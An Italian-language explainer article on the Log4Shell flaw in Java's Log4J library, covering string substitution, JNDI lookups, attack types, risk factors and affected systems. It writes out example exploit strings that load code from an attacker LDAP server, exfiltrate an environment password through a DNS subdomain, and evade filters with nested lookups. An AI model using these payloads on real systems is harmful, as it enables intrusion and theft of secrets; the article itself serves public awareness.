Log4Shell: le cause e gli effetti della vulnerabilità di Java

La falla di sicurezza Log4Shell ha scosso il mondo informatico alla fine del 2021. Senza grossi sforzi, gli aggressori sono stati in grado di infiltrarsi nei sistemi delle più grandi aziende di tutto il mondo. In questo articolo vi spiegheremo che cos’è Log4Shell e cosa potete fare per evitare un attacco ai vostri dati.

Log4Shell costituisce una delle più gravi vulnerabilità del linguaggio di programmazione Java scoperte finora. La falla di sicurezza è stata sfruttata per aprire una reverse shell sui sistemi remoti, ma anche per carpire indebitamente dati sensibili. In presenza di una reverse shell, gli aggressori possono introdurre un ulteriore codice dannoso o addirittura prendere il controllo completo del sistema. Il National Vulnerability Database (NVD) degli Stati Uniti ha classificato la vulnerabilità Log4Shell come “critica”, con il punteggio massimo di 10.

A oggi, Log4Shell è conosciuta come la falla di sicurezza critica con la più ampia portata di sempre. La sua causa è stata individuata nella libreria di logging Java Log4J, ampiamente utilizzata; quando ciò è venuto alla luce, più di 35.000 pacchetti su Maven Central, il più grande repository di Java, risultavano affetti da questa vulnerabilità. Con Log4Shell sono stati minacciati migliaia di prodotti di centinaia di fornitori; oltre a servizi cloud e software, sono state colpite anche soluzioni hardware.

Un aspetto particolarmente preoccupante è che la falla Log4Shell sussisteva già dal 2013. Ma nessuno ne era al corrente. Perciò, per i malintenzionati è stato un gioco da ragazzi infiltrarsi in una vasta gamma di sistemi, compresi quelli dei grossi provider. È presumibile che gruppi organizzati come servizi segreti e hacker abbiano sfruttato attivamente la vulnerabilità per attaccare sistemi e appropriarsi di dati.

Il nome “Log4Shell” descrive già il principio di funzionamento di base della falla, nella quale una vulnerabilità nella libreria di logging Java Log4J viene sfruttata per avviare una reverse shell su un sistema remoto. Ma che cosa sono esattamente Log4J e reverse shell?

La libreria Log4J, curata dalla Apache Software Foundation, è uno degli strumenti standard più utilizzati per il logging in Java. La funzionalità di log è un componente essenziale dei sistemi più grandi che generano, elaborano e memorizzano costantemente messaggi di stato. I dati registrati di default riguardano le informazioni di intestazione trasmesse ai server web all’interno di richieste HTTP. Di seguito è riportato un esempio di una voce di log di Apache; l’ultima parte è la cosiddetta stringa dello user agent:

Una reverse shell è un gateway che consente agli aggressori di manipolare o prendere il controllo di un sistema remoto. L’avvio di una reverse shell fa parte del repertorio standard dei pirati informatici e in genere necessita di un accesso attivo al sistema interessato. È proprio questo accesso che può essere creato facilmente sfruttando la vulnerabilità Log4Shell.

Il problema principale della vulnerabilità Log4Shell è l’utilizzo delle cosiddette string substitutions (“sostituzioni di stringhe”) come parte della funzionalità di Log4J. Le sostituzioni facilitano l’inserimento di contenuti dinamici nei segnaposto e il loro funzionamento è simile alla sostituzione delle variabili negli script di shell. In termini di sicurezza, se il contenuto delle sostituzioni può essere manipolato dall’esterno è un grave problema. Questo è esattamente ciò che avviene quando vengono registrati dati definiti dall’utente, come la stringa user agent.

Diamo un’occhiata a come sono costruite e come funzionano queste sostituzioni di stringhe. La sintassi generale di una sostituzione è costituita da due parti: un segnaposto, che, come negli script di shell, è formato da un simbolo del dollaro e da una coppia di parentesi graffe contenenti una coppia prefisso-nome separata da due punti:

Il prefisso indica quale tipo di sostituzione va eseguita. Il codice di esempio seguente sarà sostituito con la versione Java del sistema in uso durante l’esecuzione:

Persino questo esempio, apparentemente innocuo, sarebbe già in grado di offrire ai cybercriminali la possibilità di approfittare di vulnerabilità note nella rispettiva versione di Java. Infatti, numerose delle possibili sostituzioni si rivelano critiche dal punto di vista della sicurezza del sistema in esecuzione. Per quanto riguarda Log4Shell, sono diventate particolarmente famose le sostituzioni del lookup JNDI.

La Java Naming and Directory Interface (JNDI) permette di ricaricare configurazioni da una classe Java locale. Si possono tuttavia caricare le configurazioni anche da un sistema remoto utilizzando JNDI. Nella fattispecie, negli attacchi Log4Shell sono stati utilizzati server LDAP tenuti sotto controllo dagli aggressori. In questo modo è stato trasmesso il malware per aprire la reverse shell, poiché una classe Java è in grado di contenere un qualsiasi tipo di codice.

Pertanto, è sufficiente sostituire una stringa della forma ${jndi:ldap://example.com/evil-file} in un sistema con Log4J vulnerabile. Una volta risolta la sostituzione, il codice dell’exploit sarà ricaricato da un server LDAP controllato. A questo punto, l’exploit sarà eseguito sul sistema vulnerabile e, a seconda dell’obiettivo degli aggressori, ciò consente di installare scareware e altri malware.

Oltre a JNDI, per gli attacchi possono essere utilizzati anche i prefissi “env” e “base64”. Riportiamo di seguito un riepilogo dei prefissi della sostituzione disponibili, compreso il contesto:

Una vulnerabilità può essere sfruttata applicando una procedura specifica nota come exploit. Spesso per una singola vulnerabilità esistono più exploit. Questo è il caso di Log4Shell. Quando è stato reso noto, sono emersi due tipi principali di attacco. Si differenziano a seconda della chiamata JNDI utilizzata in ciascun caso:

1. Acquisizione della gestione del server o del dispositivo

Questo tipo di attacco prevede l’avvio di una reverse shell sul sistema di destinazione. A tal fine, possono essere utilizzati ulteriori exploit che richiedono la capacità di eseguire codice dannoso sul sistema di destinazione. Proprio questo è stato lo scenario consentito dalla registrazione di una stringa di caratteri appositamente preparata.

Per attaccare un server web vulnerabile, occorre semplicemente interrogare una risorsa qualsiasi e utilizzare una stringa di exploit come user agent. Il server web registra la stringa di exploit, dopodiché viene eseguita la sostituzione e l’attacco fa il suo corso. Vediamo un esempio di stringa di exploit registrata:

2. Intercettazione di dati sensibili

In questo tipo di attacco, i dati sensibili vengono letti dal sistema di destinazione sotto forma di variabili di ambiente. L’exploit si basa sulla generazione dinamica di una presunta risoluzione del nome DNS mediante la sostituzione. Durante il processo, il valore di una variabile di ambiente viene codificato come sottodominio:

In entrambi i casi chi compie l’attacco utilizza un sistema sotto il proprio controllo come testa di ponte. Nel primo scenario si tratta di un server LDAP, il quale trasmette il malware. Nel secondo, è il name server al quale arriva la richiesta DNS a essere controllato. Vediamo come si svolge quest’ultimo passaggio.

Poniamo che una variabile di ambiente dal nome ‘DB_PASS’ e presente sul sistema minacciato contenga la password per un database. Mettiamo che si tratti del valore e3CtDewUUwAfiwWTFtAhfettlQ2Lp5: la stringa exploit ${jndi:dns://${env:DB_PASS}.example.com} invia dunque una richiesta al sottodominio e3CtDewUUwAfiwWTFtAhfettlQ2Lp5.example.com.

La richiesta DNS per example.com giunge al name server sotto controllo degli hacker. Il name server corrotto legge il valore del sottodominio e lo registra. Chi ha inviato l’attacco riesce quindi in questo modo a ottenere la password del server vulnerabile.

La gravità della minaccia Log4Shell deriva da una combinazione di vari fattori di rischio. Analizziamo i più importanti:

1. La falla di sicurezza si trova nella libreria di logging

Una libreria di logging come Log4J a prima vista può sembrare relativamente innocua. Rispetto alle librerie per l’autenticazione o la crittografia, una libreria di logging è verosimilmente considerata in modo meno critico.

2. Java è uno strumento ampiamente diffuso

Un punto di forza di Java come linguaggio e ambiente è che funziona pressoché su tutte le piattaforme. La vulnerabilità Log4Shell colpisce quindi un’enorme quantità di programmi e servizi. Per di più, il linguaggio è parzialmente integrato all’interno dei sistemi embedded, quali router e dispositivi Internet of Things, tra cui sono inclusi, ad esempio, telecamere private e dispositivi smart home.

3. Sono coinvolte numerose tecnologie

Il problema relativo alla sicurezza dipende dalla concatenazione di diverse tecnologie. Anche semplicemente la combinazione di Log4J, JNDI, LDAP e sostituzioni di stringhe è in grado di creare la falla di sicurezza, aprendo la porta a possibili attacchi.

4. L’exploit si insinua in profondità

Se una falla colpisce solo il sistema vulnerabile, nel migliore dei casi il danno potrebbe rimanere localizzato. Tuttavia, ipotizziamo che una stringa di exploit venga ricevuta e registrata tramite un’interfaccia web. Probabilmente, la stringa di exploit sarà trasmessa ai sistemi sottostanti e si attiverà solo nel momento in cui verrà elaborata.

5. Le stringhe di exploit non sono facili da individuare

Data la complessità delle sostituzioni possibili, sono molti i modi per camuffare un codice dannoso. Per esempio, è possibile effettuare sostituzioni nidificate. Una stringa dalla forma ${${lower:j}ndi} non contiene direttamente la stringa jndi e non può essere filtrata automaticamente. La stringa ${jndi} viene quindi creata solo in fase di risoluzione. In più, è possibile offuscare parti del codice con la codifica Base64. Di conseguenza, la stringa ${base64:SGVsbG8gV29ybGQhCg==} verrà valutata come “Hello World!”.

Nel momento in cui è stata resa nota la vulnerabilità Log4Shell si sono manifestati attacchi diffusi ai sistemi di tutto il mondo. In particolare, è stata osservata l’acquisizione di server e dispositivi, ma anche il furto di dati sensibili. Dieci giorni dopo la pubblicazione degli exploit, la società di cybersicurezza Wiz ha fornito la seguente sintesi:

I sistemi acquisiti sono stati usati impropriamente per estrarre criptovalute, creare botnet e inviare spam. Sono state inoltre predisposte cosiddette backdoor per favorire future attività criminali, come gli attacchi ransomware. Qualora un attacco abbia l’obiettivo di rimanere inosservato e di infiltrarsi in altri sistemi, si parla anche di Advanced Persistent Threats (APT), ovvero minacce persistenti avanzate.

Tendenzialmente, le aziende più grandi hanno risposto immediatamente alla divulgazione di Log4Shell adottando misure per proteggere i propri sistemi. Tuttavia, occorre considerare che i sistemi privi di patch sono ancora esposti al rischio di attacchi. Infatti, chi attacca è solito eseguire una scansione del sistema di destinazione con lo scopo di individuare eventuali vulnerabilità.

A complicare ulteriormente la lotta contro la vulnerabilità Log4Shell si aggiunge il problematico rilevamento dei sistemi suscettibili. Qualora le applicazioni Java vengano eseguite come container o siano disponibili come file JAR archiviati o immagini di container, non è un’idea banale verificare la presenza di versioni vulnerabili di Log4J. In mancanza di informazioni sull’utilizzo di una versione vulnerabile, non è possibile proteggerla. Questo fa sì che il sistema sia esposto agli attacchi attraverso la falla Log4Shell.

Ancora più critici degli ambienti cloud e server risultano essere gli ambienti smart home e altri sistemi IoT o embedded. Tra questi vi sono dispositivi in rete come router privati, telecamere di sorveglianza e simili. Dato che la vulnerabilità Log4Shell esiste da anni, è probabile che siano ancora in uso dispositivi con versioni non sicure. In caso di supporto già scaduto o di cessata attività del fornitore, in genere non sono disponibili patch o aggiornamenti.

Su GitHub è possibile trovare un elenco completo dei software interessati da Log4Shell. A gestire l’elenco è il Nationaal Cyber Security Centrum (NCSC-NL) olandese, l’equivalente del Cyber Security Operations Center italiano. Considerata la grande quantità di software vulnerabili, l’elenco è ordinato in base alla prima lettera del rispettivo produttore.

Log4Shell ha colpito anche l’utenza privata. Al momento della pubblicazione, molti dei servizi online più popolari erano vulnerabili, tra cui, ad esempio, Minecraft, Steam, AWS e iCloud di Apple. In linea di massima, i principali provider si sono attivati tempestivamente, pertanto non è né il caso di eliminare il proprio account Steam né di passare a un’alternativa ad AWS.

Se, tuttavia, si tratta di un server Minecraft personale, è necessario aggiornarlo alla versione più recente. Nelle versioni vulnerabili, infatti, ai cybercriminali basterebbe inviare una stringa di exploit sotto forma di messaggio di chat per prendere il controllo del server.

L’hardware utilizzato a casa o in piccole aziende ed esposto alla vulnerabilità Log4Shell continua a rappresentare una minaccia per le/gli utenti domestici. Presentare un codice a barre appositamente preparato per una telecamera di sorveglianza, ad esempio, può rivelarsi una condizione sufficiente per prendere il controllo del dispositivo.